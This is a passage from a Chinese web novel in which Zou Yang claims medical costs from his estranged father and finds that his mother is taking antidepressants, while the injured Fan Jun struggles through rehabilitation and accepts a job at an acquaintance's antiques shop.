“什么事儿?”老爸看着他。 “清账。”邹飏把手里的文件夹往茶几上一扔。 第60章 虽然这个房子老爸重新装修过,但基于他的审美,各种家具的风格和摆放,都还是邹飏熟悉的样子。 之前每次过来,邹飏都会有种熟悉而又陌生的错位感。 但今天有些不一样,整体都很陌生。 “到茶室聊吧。”老爸说。 “可以吗?”邹飏看着女人问了一句。 女人盯着他没有说话。 “邹飏!”老爸沉下声音,转身往茶室走了过去。 邹飏也没多说,冲刘文瑞偏了偏头,跟着也往茶室走。 刘文瑞过去拿起他扔在茶几上的文件一挥:“走。” 几个人在邹飏身后走得都带起了风。 进了茶室更是往已经坐下的邹飏身后一站,邹飏不用回头,从对面落地玻璃上就能看到刘文瑞和张传龙抱起的胳膊。 进来之前的确忘了跟他们确认一下尺度,这会儿感觉戏有点儿过了。 “都坐吧,”老爸坐在对面的主人椅上,烧水准备泡茶,“喝点儿茶,慢慢聊,我跟小飏也挺长时间没见了。” 在装气定神闲处乱不惊这方面,后头那几位不是老爸的对手,犹豫了一下就都坐下了。 尤其刘文瑞,虽然老爸不经常在家,但刘文瑞也是他有一眼没眼看着长大的,莫名就会有点儿犯怵。 就张传龙还坚持抱着胳膊。 “小飏啊,”老爸看了他一眼,“你这突然跑过来,不太像是要跟我喝个茶聊聊天的样子啊。” “本来也不是,”邹飏说,“我说了,是清账。” 老爸笑了笑:“咱们父子俩有什么账要清的?” “根据你跟我妈的离婚协议约定,”邹飏说着从文件夹里拿出了他俩的离婚协议复印件,“你需要支付我包括生活费和直到大学的学费……和第……四条,重大医疗费用,单次大于五千或年累计大于两万,凭结算单…… ” “邹飏,”老爸打断了他的话,脸上的微笑渐渐消失了,“你什么意思?” “最好的情况,是你能把这些费用一次性结清,”邹飏往椅子上一靠,看着他,“不怎么好的情况,是先把我受伤住院治疗费用的一半给我,后续的治疗有需要我会再找你。” “一次性?”女人不知道什么时候跟进了茶室,站在门边,“邹飏,你是真把你爸当提款机啊?” “就算当了提款机,提的也是属于我的钱,”邹飏看了她一眼,“怎么,阿姨是还指着这点儿钱吃利息么?” “老邹!这就是你的儿子!”女人提高了声音。 老爸被她这一戳,这会儿也有点儿装不下去了,手里的茶则往桌上一拍:“邹飏,你吃错药了吗?怎么变成这种没有规矩的样子了!” “我一直都这样,”邹飏说,“从来就这样,以前这样,以后还是这样,我这辈子都这样。” 说完这句话,他猛地有了种轻飘飘的感觉,耳朵里嗡嗡响着,四周的声音有那么一瞬间的隐隐约约。 老爸盯着他,嘴唇控制不住地有些抖。 另一只抓着壶的手也在抖,要不是眼前还有这么几个人,要不是他现在脸色看上去的确还不算健康,邹飏怀疑这个壶会扣到自己脑袋上。 老爸突然笑了起来:“真是可悲啊,可悲,我还想着,你就算日子过得再不堪,也总归有像我的那一部分,以后也不至于混得太难看……” 邹飏笑了笑:“君非叔孙通,与我本殊伦。” “放肆!你还真是肆无忌惮了!”老爸吼了一声,“谁允许你这么跟你爸说话的!哪儿学来的流氓行径!” 这一嗓子吼得实在有些扎实,在场几个人都被吓了一跳,那边站着的女人都惊得后退了一步。 邹飏顿时觉得一阵窒息,气儿跟着都有点儿上不来。 “你还知道你是我爸啊?”邹飏用力倒着气儿,“我住了三个月的院,你来了一趟,走了以后我得用止痛泵,出院了还得上门来要医疗费!谁告诉你爹是这么当的!” 说到最后的时候,他能听到自己喘息声里带上了啸鸣音。 惨极了。 演都演不出来的惨。 可惜他现在已经不再需要这份“助力”。 “邹飏,邹飏,”李知越一把抓住了邹飏的肩膀,在他背上用力揉着,“冷静。” 邹飏瞪着老爸,这个他或真或假讨好了十几年的男人,这个正满眼怒火瞪着他的男人,这个眼神里对他已经没了一丝亲情的男人……心里的滋味儿实在是五彩斑斓。 “叔叔,”刘文瑞撑着茶桌,往老爸那边倾着身体,“邹飏肋骨骨折,肺是有挫伤的,您说话注意点儿。” “我注意点儿?”老爸震惊地看着刘文瑞。 “对。”刘文瑞点头,撑着茶桌的手因为紧张而有些微微颤抖。 “叔叔,”李知越抢在老爸再次暴怒开口之前,“邹飏来的本意并不是吵架,只是想争取他的权益,这事儿本来不需要弄成这样,就事论事就可以。” 李知越说完还往女人那边看了一眼。 老爸没有接李知越的话,只是看着邹飏,缓缓地松开了抓着壶的手,最后冲女人摆了摆手:“你先出去。” 女人沉默了几秒,转身走出了茶室。 “一次性付清学费和生活费是不可能的,”老爸说,“我没办法确定这些钱你会用在它原有的用途上。” “没关系,”邹飏调整好了呼吸,老爸不会同意这一点他之前就想到了,反正现在不用装了,每月一次恶心人也就没什么压力可言,他推了推眼镜,“那就继续每月一次,治疗的费用需要我给您逐条解释吗?” “不用。”老爸拿过了放在桌上的文件夹,打开拿出了那一摞单据,“我希望你不会后悔你今天的所作所为。” “我没有时间后悔。”邹飏说。 老爸抬眼看着他,很长时间都没有说话。 水烧好了,但也没谁去泡茶,老爸对着有伤情描述的那两页看得很细。 看得出来,老爸从一开始就没有关注过他到底伤成什么样了,这会儿才算是从头到尾了解了一遍。 最后重新抬起头看向他时,老爸的眼神有些复杂。 “现在恢复得怎么样?”老爸问。 “就你看到的这样。”邹飏说。 老爸没再说话,把复印件放回文件夹里,直接给他卡里转了钱。 邹飏也没看,这一点上老爸还是要面子的,数肯定只多不少。 “打扰了。”他起身往外走,“走。” “叔叔阿姨打扰了。”李知越说。 “邹飏。”老爸站在茶桌边,叫住了他。 邹飏停下,回过头。 刘文瑞和张传龙也一块儿停下,但还没转身,就被李知越推了一把,低声说:“走你们的。” 几个人走出茶室之后,老爸才说了一句:“要说我对你一点儿愧疚没有,那是假的……” 邹飏笑了笑,没说话。 “这阵儿我的确也比较忙……”老爸说,“也没有时间好好跟你聊聊,不知道你怎么会……我对你真的很失望。” “我对你早就失望了。”邹飏转身走出茶室,没再给老爸继续自我感动的机会。 刘文瑞他们几个在电梯门口站着,看他出来,按开了电梯门。 一帮人沉默地进入电梯,沉默地下楼,沉默地走出电梯。 近中午的阳光很强烈,走出楼道的时候邹飏能闻到热浪的味道,有种说不出来的舒爽。 他闭了闭眼睛。 “爽!”张传龙喊了一嗓子打破沉默。 “给了多少?是一半吗?”刘文瑞迅速切入正题。 “我看看……”邹飏拿出手机,点开了银行的通知。 “我靠,”张传龙凑过来看了一眼,接着就一把拿走了手机,“全额啊?” “时刻不忘表达他的经济能力比我妈强,”邹飏伸了个懒腰,胸口还有点儿牵拉感,但比之前要舒服多了,“想吃什么,请你们。” “A吧,”李知越说,“你提款机限额了啊。” “吃完这顿再过苦日子,”刘文瑞拿出手机,“我们去这儿,我早就想去了,苦于舍不得花钱,就等着小金羊出院呢。” “你真……”张传龙啧啧着。 “就说你吃不吃吧。”刘文瑞看着他。 “吃。”张传龙点头。 “之前给你的肌力恢复训练的那个练习动作,”医生一边说一边往樊均肩上和胳膊上贴着电极片,“按上面的时间阶段来,循序渐进。” “嗯。”樊均点点头。 “你伤得不算太严重,本身身体素质也好,又有运动基础,”医生说,“恢复的可能性还是很大的。” “嗯。”樊均应着。 每周三次的康复训练,这是这周的第三次。 医院离南舟坪挺远的,是樊均从来没到过的地方。 每次做完训练,他都会在附近再转转。 他不太喜欢热闹,这些年他已经习惯了南舟坪一成不变的一切,现在却不得穿过不熟悉的一些,去一个陌生的地方,做一些更陌生的事。 樊刚和他唯一的同伙都死了,这个世界上能够让他恐惧的人已经消失,但因为樊刚的存在而滋生的所有,都还在。 太多的人,复杂的环境,陌生的街区,没有听惯的那些噪音…… 还是会让他混乱和迷茫。 脚下的每一步都带着犹豫。 医院附近有个很热闹的商城,很大,几栋开放式的大楼连接着,大片的广场上永远有着热闹的人群。 樊均上次来的时候,广场上还有表演,他本来想过去看看,但强烈的头晕目眩让他放弃了。 今天他决定再过去转转。 挑了从外观看上去人最少的一条商业街。 这是条仿古街,地上铺的都是青砖,卖各种茶具陶器,还有些老物件,什么旧窗户老门板之类的…… 虽然没什么可买的,但因为人少,各家的装修风格又都很安静,遛达一会儿还挺舒服。 樊均拿出了手机,随手拍了几张照片。 又点开微信看了一眼。 【邹yang】你出院了? 【樊】嗯 又顺手点开邹yang的朋友圈看了看,没有发任何内容。 他轻轻叹了口气,退出了聊天界面。 有一家门口摆了六七个石制的屋檐兽,看上去都很可爱,还有一个很像大黑。 樊均慢慢蹲下,对着那个“大黑”拍了几张。 正想给“大黑”和它的小伙伴们拍个大合照的时候,店里传出几声争吵,接着是一声女人的尖叫,一个人影飞了出来。 摔在了距离樊均一米远的路中间。 确切地说,应该是被人扔出来的,被紧跟着从店里冲出来的那个手里拿着根木棍的大胡子。 大胡子冲出来就直扑地上的人,对着他大腿就是一棍子。 地上的人嗷地嚎了一声,这声音莫名有点儿耳熟,樊均转头往地上看了过去。 “退不退钱!”大胡子对着他的腿又是一棍子。 “不退!”地上的人抱着脑袋,“拿回去一个月的东西保养不好裂了要退货,个个都这样我还干不干了!” 樊均站了起来,他听出来了这声音是谁。 是何川那个废物。 大胡子没再朝何川抡棍子,而是退后一步,对着他肚子一脚踢了过去。 好在距离近,樊均直接跨过去,抬腿对着大胡子的小腿一脚蹬了下去,大胡子的腿往地上一跺,立了个正。 迷茫了两秒,大胡子回过神,瞪着他:“你别管闲事啊!” “樊均?”地上的何川震惊地喊了一声,“樊均!” 没等樊均开口,他从地上跳了起来,指着大胡子:“这我散打教练!这我师父,你最好有点儿数……” 樊均有些无语,一种非常丢人现眼的无语。 他把何川的手按了下去。 大胡子被一脚跺了个立正本来是有点儿犹豫了,被何川这又指又威胁的顿时眼神里的火苗就又有些往上蹦。 樊均在他又一扬手准备抡棍子的同时,右手劈在了他手腕上。 大胡子的棍子脱了手,他愣了一下,又改成握拳,准备再往何川脸上砸。 樊均赶紧一把抓住了他的右手腕。 大胡子挣了两下没能挣脱,于是换了左手抡拳。 樊均只有右手能用,这会儿只能抓着大胡子右手腕,往他左手出拳的方向拽过去拦了一下。 大胡子被拽了个右胳膊抱胸,转了半圈儿之后,再挨了自己左手一拳。 迷茫与震惊之间,他转过头看向了樊均。 眼神里已经没有了一丝怒火,看上去出奇的平静。 “有理讲理,”樊均松了手,“不要动手。” 大胡子的视线在他脸上来回扫了几圈:“他卖给我的东西拿回去就裂了。” “木头的东西,老物件儿!”何川说,“你非把它放院子里淋雨,它不裂等什么,我都跟你说了你要放户外我那儿有石头的,你又嫌贵!这都一个多月了,非让我退,这说得过去吗!” “那你帮我修复,”大胡子说完又看了樊均一眼,“修复。” 我又不会。 樊均没说话。 “修复要收钱,你在我这儿买的,我给你算便宜点儿。”何川说。 “……行。”大胡子说。 “明天拿来吧。”何川皱着眉拍了拍裤子,抬头看着樊均又愉快起来,“快!樊教练,进来聊聊!这都多久没见了!” 樊均被何川拉进了店里,指着里面的一个女孩儿说了一句:“这我妹,我俩一块儿开的这个店,刚弄好没多久。” “嗯。”樊均点了点头。 “吓死我了,”女孩儿拍了拍胸口,“这人比上回那个还凶。” “以后这种不听劝非要买的就不卖,”何川回头冲樊均招招手,“来,喝杯茶。” 何川的这个店,卖的都是各种老房子里拆出来的东西,随意而又不凌乱地放了一屋子,靠屋里的位置放着一张老门板做的茶桌,还点着香。 樊均绕过脚边放着的石墩小摆件什么的,走到茶桌边坐下了。 “今天有点儿乱,刚到了一批货还没整理,”何川说,“你怎么样?听谭如说你受伤了?” “还好。”樊均说。 “左手伤了是吧?”何川看了看他左胳膊,“我看你刚就用右手了。” “嗯。”樊均应了一声。 “现在不带学员了吗?”何川给他倒上茶。 “暂时……是。”樊均说。 “什么时候能回去啊?”何川皱了皱眉,又凑近了压低声音,“真是他们说的……杀人犯什么的吗?” 樊均心里微微颤了一下,没有回答。 “算了不说这个,”何川摆了摆手,“感觉你平时都不出南舟坪,今天怎么跑这么远?” “来做康复。”樊均说。 “旁边那个康复医院吧?”何川点点头,“那个医院是最好的了,我朋友之前颈椎出问题也是在这儿康复的。” 樊均拿起杯子喝了口茶。 “怎么样?”何川问,“这我妹自己炒的茶。” 说实话,不怎么样,虽然他不怎么喝茶,但感觉是不是有点儿炒糊了。 “挺好。”樊均又喝了一口。 “不用客套,”何川笑了起来,“瞎胡闹的,味道不行,就我们自己喝着玩。” 樊均笑了笑。 “那你现在不做教练的话,还干点儿什么别的吗?”何川问。 “没,就康复。”樊均说。 “哦……”何川点了点头,喝了口茶,“那你没事儿过来坐坐呗,反正我这儿平时人也不多,除了出去收货,平时都我都在。” “……嗯。”樊均看了看窗外,几个逛街的人慢悠悠地从木头窗户外晃过去,看着很宁静。 60-70 第61章 一连几天,何川都追着给樊均发消息,叫他过去喝那个炒糊了的茶。 不是去治疗的日子里,樊均并不是很愿意过去,他既不爱喝茶,跟何川也没什么可聊的,那地方离南舟坪还远,骑电瓶车过去得快两个小时,还得是路上不堵。 但他也很难就那么在屋子里待着。 在这个处处都充斥着美好和残酷的空间里。 每天复健的训练做完,也就一个多小时,别的时间里,他就坐在沙发上发呆。 以前的生活也并没有多丰富,但在馆里一待就是一天,上课,看人来人往,哪怕是找个角落睡觉,也不会像眼下这样,不单单是无所事事这么简单。 而是焦虑和迷茫。 复健并不是咬牙忍痛就能提速的,只能这么一天天的,一点点的,几乎感受不到变化地熬。 而相比手臂,左耳的听力连复健的机会都没有,他只能等。 等有一天那个所谓的暂时性能消失。 而时间每过去一天,希望就会被磨灭一点。 手机放在沙发上,他伸出左手慢慢抓住手机,慢慢收紧手指,隐隐的疼痛在肌肉间悄悄爬行…… 小白凑了过来,张嘴想要去咬住手机。 “No,小白,我自己来。”他用右手摸了摸小白的头。 小白有些不解地歪了歪头,但还是重新在他脚边趴好了。 手机被慢慢从沙发上拿了起来,相比之下,右手划开屏幕解锁时有种他从未感受过的轻松自如。 为了锻炼手部肌肉,右手没有完全接替左手的工作,哪怕是当个手机支架也行,就是手腕回勾时会有不自觉的抽动。 随便看了看群里的消息,社区群,同学群,一个个红点都点开了看了看,看看别人一如平常的生活。 退回到桌面时,他看到了地图标志。 盯着屏幕一直到屏幕开始变暗,手腕也超过了负荷,他才换了右手拿过手机,轻轻点开了地图。 上回在邹飏他们学校碰到地图车之后,他一直没有打开过地图看看,那个车有没有拍到他俩。 不敢。 不知道为什么。 他害怕看到那些被定格的快乐时光,就好像它们就那样被留在了原地,留在了过去的某一天里。 而时间却还是一路往前。 地图打开之后他还戳了半天才找到了街景地图的模式。 看着地图中间突然出现了一张图片,他心跳一下加快了。 试着点了一下,图片唰地一下放大了,是他熟悉的南舟坪,楼下那条街,他甚至一眼就看到了天天经过的早点铺。 看着这熟悉的场景,有种穿越了时空的奇妙感觉。 他顺着方向箭头点了两下,看到了更熟悉的街道,大头鱼的驿站就在前方,点着屏幕移动了一下视角,能看到驿站里堆满了货。 放大了还能看到大头鱼的一个背影。 樊均愣了很久,一下一下地在地图上慢慢前行着,转弯,直行,再拐进下一条小街,一点点走到了旧馆门口。 视角转向旧馆院子里时,他看到了狗窝前端坐着的小白。 耳朵立得很直,眼睛很亮。 他的视线从屏幕上移开,看向脚边趴着的小白,伸出左手在它头上轻轻碰了碰。 小白哼了一声,很快在他手背上舔了一口。 没有什么感觉,手背被舔到的那一块是麻木的,没有任何触觉,除了手背,胳膊上还有好几个位置都是没有感觉的。 平时不会注意到,可一旦觉察,那一瞬间的失落很难形容。 他靠回沙发里,退出了南舟坪的街景,手指拖着地图缓缓移动,他不想直接搜索地址,只想用视线在那天的路线上扫一遍。 挺长的一段路,在地图上却没几下就到了。 点开街景图。 画面里邹飏他们学校的大门突然出现时,樊均感觉自己呼吸都停顿了。 他慢慢移动着,往那天等车的位置靠近,一步一步,画面不断切换着,最后停在了他们站的地方。 樊均手指悬空着在屏幕上方停住了。 ……什么也没有。 没有邹飏。 没有樊均。 没有人。 这时他才注意到,画面左下方有个小小的拍摄日期,是五年前。 他闭上眼睛,长长地叹出了一口气。 五年,是个很遥远的以前。 那时他跟现在的邹飏一样大,已经在武馆给吕叔帮忙大半年了,而邹飏,还只是个初中生。 他笑了笑。 鼻子突然很酸,不等反应过来,眼眶猛地一热,眼泪有些失控地就滴在了屏幕上。 他把手机扔到一边,低头把脸埋进了胳膊里。 相比那天的流泪,眼下这次,是久违了的真正的哭泣。 他几乎已经忘记了哭泣的感觉。 右耳听到自己模糊的哭泣的声音时,他甚至感觉到了陌生。 那种带着无助和茫然的委曲的嘶吼,他从来没有听到过。 “今天不是要去康复的吗?”吕叔在厨房里吃面,看到樊均进来的时候愣了愣。 “约的两点半,我先把小白带过来。”樊均在桌边坐下。 旧馆现在基本已经没有人了,能跟去新新馆的学员都已经过去,剩下的也就是附近的孩子,上课时间旧馆里一片寂静。 吕叔也是能做点儿菜的人,但这会儿煮的这碗面相当随意,能吃而已。 “吃午饭了吗?”吕叔问。 “没,一会儿路口随便吃点儿就行。”樊均说。 “不能太随意,蛋白质要保证,对你恢复有好处,”吕叔说,“这几天手臂怎么样?” 樊均沉默了一会儿才低声说:“没什么进展,比医生给的训练计划进度慢……” “没事儿,受伤了就是这样,有快有……”吕叔拍拍他。 “我也可能……就这样了。”樊均说。 换了十天前,他还是抱着一丝希望的,但现在面对没有什么进展的康复,他不得不开始做好希望落空的准备。 “别这么说,这才多久,半年都没到呢。”吕叔说。 “……嗯。”樊均扯了扯嘴角。 下午从康复医院出来,他去了何川店里。 他需要分散一下注意力,一个人待着实在有些难熬,越孤单越绝望。 而且他感觉何川一直叫他过来,应该是有什么事儿,毕竟在他这儿上了那么久的课,这人一直也没这么热情过,还总嫌他上课强度太大受不了。 “你可算来了!”何川从小店后门走了进来,“你再不来就真是不把我当朋友了。” “不是师徒么。”樊均找了张椅子坐下。 “亦师亦友,”何川把手里一个竹筒递到他面前,“闻闻。” 樊均吸了一口气:“线香?” “我自己做的,”何川指了指后门,“后面那个院子就是我的工作室。” “你还做香?”樊均有些意外。 “爱好,也不卖,碰上投缘的客人就送点儿,”何川把香筒盖好,“这个送你吧。” 樊均也没推辞,接了过来:“谢谢。” “喝杯茶?”何川往茶桌那边走,“弄了点儿冰岛,不是我妹炒的了。” “嗯。”樊均起身过去坐下了。 “胳膊怎么样了?”何川一边烧水一边问了一句。 “老样子。”樊均说。 “没效果吗?”何川问。 “嗯。”樊均应着。 “要不要配合点针灸?”何川问,“我这儿认识一个老中医……” “你是不是有事儿找我?”樊均打断了他的话。 何川啧了一声,笑了起来:“这么明显吗?” “是。”樊均点了点头。 “也不是什么大事儿,”何川撬着茶饼,“我这人情商低,说话直,你别介意啊。” “实在太低也可以不说。”樊均说。 “靠,”何川笑着,“你这人……我就想问问,你愿不愿意上我这儿来帮帮忙?” 樊均愣住了,看着他没说话。 “就是吧,你看你现在这个情况,手臂废了,耳朵好像也严重了,”何川说,“还在康复,别的也干不了什么……你好像一直是教练吧,现在教练也做不了了……” 樊均还是看着他。 何川对自己的认知还是很准确的,这话直得能把人心窝子都给戳废了。 讲价的时候都下不了这么狠的手。 樊均甚至有点儿想笑。 “我这儿呢,还挺合适你的,”何川说,“我和我妹好几个店,虽然请了人,但也挺费劲的,特别是……你会开车对吧?我还要经常往外跑,乡下收点儿老物件儿什么的,挺危险,之前还被人抢过,要不我也不能跑去你那儿上课……” “保镖兼司机?”樊均没忍住问了一嘴。 “专门请个保镖兼司机的我不划算了,”何川说,“不往外跑的时候,你就在这儿帮我看着点儿,说实在的,我这儿都是真货,好东西,品类多,价格也不低,爱玩这些又舍得花钱的,都挺……你往这儿一杵,能避免不少麻烦。” “不是和气生财么?你做生意找个打手搁店里?”樊均说。 “什么打手,别这么说。”何川有些尴尬。 “不是我说的。”樊均说。 何川笑了笑,没再说下去,给他倒了茶:“尝尝。” 樊均拿起杯子喝了一口。 “怎么样?”何川问。 “很香。”樊均说。 “问你工作的事儿,怎么样?”何川说。 樊均沉默地喝着茶。 其实何川的话虽然直戳人伤口一点儿不带手软的,但说得也是事实,每天都困扰着他的事实。 他需要钱,而且现在挣不了钱。 并且如果耳朵和胳膊一直这样,以后也不太好挣钱。 “工资?上班时间什么的?”樊均放下茶杯。 “好说!”何川愉快地又给他倒了一杯茶,“你在武馆的时候拿多少?” “五六七八千。”樊均说。 “……跨度这么大吗?”何川愣了愣。 “嗯。”樊均点头。 “五六七八……八千我肯定给不了,”何川说,“五千吧,在这个商贸城里这绝对算高价了,你可以住我店里,也不用租房了,狗都能带过来,院儿里有地方,吃饭的话,我在店里的时候咱俩可以一块儿吃。” 樊均没说话,心里盘算着开销。 “如果跟我出去,或者以后你干熟了自己去,”何川看着他,“另外有补贴的,在店里卖东西这些,就不算什么提成了,卖不卖得掉都没事儿。” 樊均看了他一眼,依然没说话,心里还没盘算明白。 “还不行吗?”何川给他倒上茶,“很轻松的啊。” “很轻松你为什么要找人。”樊均说。 “你干轻松啊!我干不轻松,我好几个店嘛要来回跑。”何川直接起身坐到了他旁边,“樊教练,真的,咱俩这个算互相帮忙了,我也找不到合适的。” 樊均感觉可以试试,钱他可以先不算那么明白,他只是迫切地需要一份收入,一份看上去正常的生活,一份让他不会每天反复沉沦在绝望思考里的忙碌。 “你先干着试试,有什么要求可以再提,都能商量的。”何川看得出来是真的需要这么一个帮手。 “我还要去治疗的。”樊均说。 “没问题啊,你要治疗的时候跟我说一声去就行,店里要没人你可以直接关门,”何川说,“怎么样?” “……我下周来。”樊均说。 “地方我都订好了啊,”李知越低头看着手机,“明天下课了就直接过去。” “嗯,”邹飏应了一声,“没叫别人了吧?” “你要不叫人的话就没了,”李知越说,“就咱们四个。” “我……没可叫的人了。”邹飏说。 刘文瑞转头看了他一眼。 “看屁。”邹飏没看他,推了推眼镜,看着前面正讲得很陶醉的老师。 伤痕文学。 意识流手法。 “不叫樊均吗?”刘文瑞低声问,“你俩不也算不上……分手么,就算是……分手,也是和平……” “不叫。”邹飏很简单地回答。 “好嘞。”刘文瑞没再多说。 邹飏看着老师,手里拿着的手机一圈圈转着。 他不是没想过要不要叫樊均。 但最后又还是放弃了。 他最后给樊均发的那条消息,樊均隔了两天回了他一个“嗯”。 基本就是起到让他不要担心这么个作用,并没有继续聊下去的意思。 无论是情愿还是不情愿,樊均的这份拒绝他能感知得到,这种时候什么理由的强行见面,都会太尴尬。 而他也清楚,樊均要他给自己时间,自己也同样需要给樊均时间。 他可以不管不顾扑过去。 樊均做不到。 只是…… 很煎熬。 “今天晚上还回家?”刘文瑞站在学校门口,把自己的一袋脏衣服往邹飏背包里塞。 “嗯,我总感觉我妈这几天情绪不太对,”邹飏说,“回去陪着。” “明天从你们那个新开的烘焙工作室给我带一块熔岩乳酪过来,”刘文瑞说,“我要囤秋膘。” “你从暑假就开始囤,要多少膘算够啊?”邹飏看了一眼他的腰。 “不要多嘴,照做便是。”刘文瑞说。 回到家打开门时,邹飏闻到了饭菜香。 自从他出院回家之后,老妈就基本没有出过门,除了陪他去医院复查,每天都待在家里。 邹飏周末回家就能看到老妈,吃到老妈做的饭菜。 久违了的家的感觉。 但很快他就感觉到了不对劲。 老妈越来越沉默,脸色也不太好,经常发呆,说着说着话就会走神,小视频一刷一整夜。 邹飏每次半夜惊醒时,都能听到老妈卧室里传出的视频声。 换鞋进屋的时候他闻到了菜香中夹着的焦糊味儿。 “妈!”邹飏跑进厨房,“什么东西糊了?” “哦!我焖着的肉!”老妈就拿着铲子站在灶台前,听到他喊,才猛地打开了锅盖,小声地念叨着,“哎哟水都干了……这还怎么吃……我还专门买的肉……” “没事儿,就我进门这会儿才糊的,”邹飏过去接过铲子,把肉铲了出来,“吃的时候咬掉就行。” “嗯。”老妈拍拍他,“我来吧,再炒个青菜就吃饭了。” 邹飏走出厨房,在客厅站了一会儿,快步走进了老妈的房间。 他不知道自己想找什么,但总隐隐觉得能找到什么。 他打开了床头柜的抽屉看了看,有些常用药。 又打开下面的小柜子。 里面都是文件夹,邹飏抽出来看了看,都是他的,以前的病例,这回受伤的各种资料,出院之后心理治疗的各种单据,都分类放着。 把文件夹放回去的时候,他看到了紧贴着柜壁的位置,竖着放着一个药盒。 拿出来飞快地扫了一眼。 草酸艾司西酞普兰。 下面还有一行小字- 适应症:治疗抑郁症。 “小飏——”老妈在厨房喊他,“吃饭了,来端菜——” “来了!”邹飏也喊了一声,赶紧把药放了回去,转身跑去了厨房。 “要不要再蒸个肉饼?”老妈问,“那个焖肉糊了。” “不用,就糊了那一点儿,”邹飏把肉端了出去,“就俩人也吃不了太多。” “可能也是老了,”老妈叹了口气,“之前可能做习惯了大锅菜,现在份量少点儿好像就不会做了,脑子转不过来……” “惯性,都这样,”邹飏说,“你才多大,我都才二十。” 老妈笑了笑:“明天生日跟他们去哪儿玩啊?” “不知道呢,他们安排的,我就跟着走,”邹飏犹豫了一下,看着老妈,“要不……你跟我们一块儿去玩玩?” “哎哟快算了吧我才不去,”老妈摆了摆手,“哪有四个大小伙子过生日带妈妈的。” 邹飏没再说话,夹了一筷子焖肉埋头吃饭。 “你这几天晚上还是睡不好吧?”老妈问,“要不要再去看看医生?” “不用,总得有个过程。”邹飏笑笑。 “这两天怎么老回家?”老妈看着他。 “你在家,我就想回来。”邹飏说。 “别总跑回来,”老妈说,“医生说了,多跟同学朋友一块儿。” “嗯。”邹飏应了一声。 他很想问问老妈,跟吕叔是真的不再和好了吗,但又怕戳到老妈伤心的地方,没敢轻易开口。 吃完饭他坐沙发上愣了一会儿,拿过手机给刘文瑞发了个消息。 【邹yang】明天第一节课上完我去南舟坪 【瑞思拜】???这么生猛 【邹yang】找吕叔 【瑞思拜】我操那不是更生猛了直接找家长 【邹yang】滚 第62章 经过一个暑假的勤奋练习,刘文瑞的车现在开得不再像是个外地游客了,他现在是偷了别人车出来无证驾驶的本地人。 听说今天要去南舟坪,刘文瑞专门让他爸一早把车开到了学校。 “有点儿兴师动众了啊。”邹飏坐在副驾。 “不算,他俩都没带呢,”刘文瑞说,“就兴了我这一个师,动了我爸那一个众。” 邹飏笑了笑没说话。 “你今天是寿星,你最大。”刘文瑞说。 “没白认识你这么多年。”邹飏看着他。 “换平时我没这么贴心,”刘文瑞说,“你现在太惨了,也没法帮你分担点儿。” “这事儿是能分担的么,你赶紧去谈一个然后分了陪我。”邹飏看着窗外。 这一瞬间,他的确有一种感觉。 在学校里看到那些成双成对的男男女女时,他会嫉妒,甚至有些愤怒。 凭什么。 烧了你们。 鸳鸯煮熟,佐我杯羹! “李知越前几天不是有同学过来么,说出去玩玩,他都拉人去给你求签了,看你这个缘分还有没有得续了。”刘文瑞说。 “有得续吗?”邹飏心里动了动。 “他没说,我也没敢问。”刘文瑞说,“他还被他同学教育了一小时。” “他哪个同学还能教育他?”邹飏压着失望随便问了一句。 “就思想政治教育的那个,大一的时候来过我们宿舍的那个。”刘文瑞啧啧两声。 “靠。”邹飏也啧了一声。 很久没来南舟坪了。 开始渐渐消失的绿色,让入秋了的南舟坪似乎没了夏天时杂乱但蓬勃的生机,看上去多了几分落寞和陈旧。 邹飏一直盯着车窗外的街道。 盯着每一个他能看清的行人。 但其实他也知道,如果真的能碰到樊均,根本不需要这样盯着看,扫一眼就能认出来。 车停在了旧馆门口,刘文瑞在车上等他。 下车的时候邹飏愣了愣,旧馆本来就因为招牌都拆到新馆那边去了显得格外破败,这会儿更是像荒废了一样。 安静得没有一点儿声音。 一眼望过去,没看到一个人,狗窝也是空的。 训练馆里灯都没开,厨房里也是一片黑。 邹飏站在院子中间,有些茫然和慌张。 “小飏?”吕叔有些吃惊的声音从厨房里传了出来。 “吕叔,”邹飏转过头,“就你……一个人?” “啊,”吕叔笑了笑,“学员都去新馆了,就我周末在这儿带带小学员,平时没有人。” “……哦。”邹飏应了一声,转头看向空无一人的训练馆。 虽然知道新馆要搬走的时候就已经料到了有一天旧馆会变成这样,但亲眼看到时还是有些说不上来的陌生滋味。 “你怎么……跑来了?”吕叔问。 “我……”邹飏突然有些不知道该怎么开口了。 他是为了老妈来的,但跟一个男人讨论他和自己妈妈的感情问题……对于他来说确实相当尴尬。 特别是吕叔现在这个表情,明显就已经是先入为主以为他是来找樊均的了。 “来,来,”吕叔招了招手,走进厨房开了灯,“坐会儿。” 邹飏跟着走进了厨房。 平时烟火气满满的厨房,这会儿也清锅冷灶的,明明什么都没变,但就是有一种已经空荡荡了的感觉。 吕泽应该是不在这儿吃了,搬到新新馆那边儿去了。 樊均……看样子也不在这儿吃…… 那他自己做吗?还是叫外卖?但如果是这样,为什么不跟吕叔一块儿? 狗呢? 伤怎么样了? 猫呢? 找到了吗? 邹飏突然发现自己的脑子就跟眼前这个厨房一样,似乎很久没有运转过了,他刻意地避开了很多跟那天有关的信息…… “喝饮料吗?”吕叔打开了冰箱。 “还有饮料呢?”邹飏笑了笑,看着冰箱里的东西,“我喝罐可乐吧。” “都是……”吕叔顿了顿,拿了可乐递给他,“樊均之前买的,就他总嘴馋,他……不喝的话也就没别人喝了。” “哦。”邹飏的声音都有些抖,赶紧抠开拉环灌了一口,把颤音咽了下去。 吕叔看着他:“小飏啊,樊均他……” “叔,”邹飏咬牙打断了吕叔的话,“我来是想问问,您……最近跟我妈联系过吗?” “你妈妈?”吕叔愣住了,很快又有些着急,“她怎么了?我给她打过电话,她基本都不接,只说想一个人安静一阵儿……她怎么了?” “她……应该是有些情绪上的问题,”邹飏低声说,“我发现她在吃抑郁症的药。” “什么?”吕叔一下站了起来,原地来回倒了两圈儿,“怎么会?她那么大大咧咧的一个人啊,她怎么会……” 邹飏轻轻叹了一口气:“她一直,都想得挺多的。” “她就是……”吕叔又坐回桌边,手在头上用力捋了两下,“钻牛角尖啊。” “您知道我家地址吗?”邹飏问。 “……知道,怎么?”吕叔说完赶紧又补充了一句,“知道小区位置,我去接过她,在小区外面。” 邹飏从包里拿了纸笔出来,把自己家的详细地址写了下来:“叔,我不知道您现在是怎么想的,也不知道这样合不合适……” “我试试,我去一趟试试。”吕叔点着头。 “好的,谢谢叔。”邹飏说。 “哎,别这么说。”吕叔叹了口气。 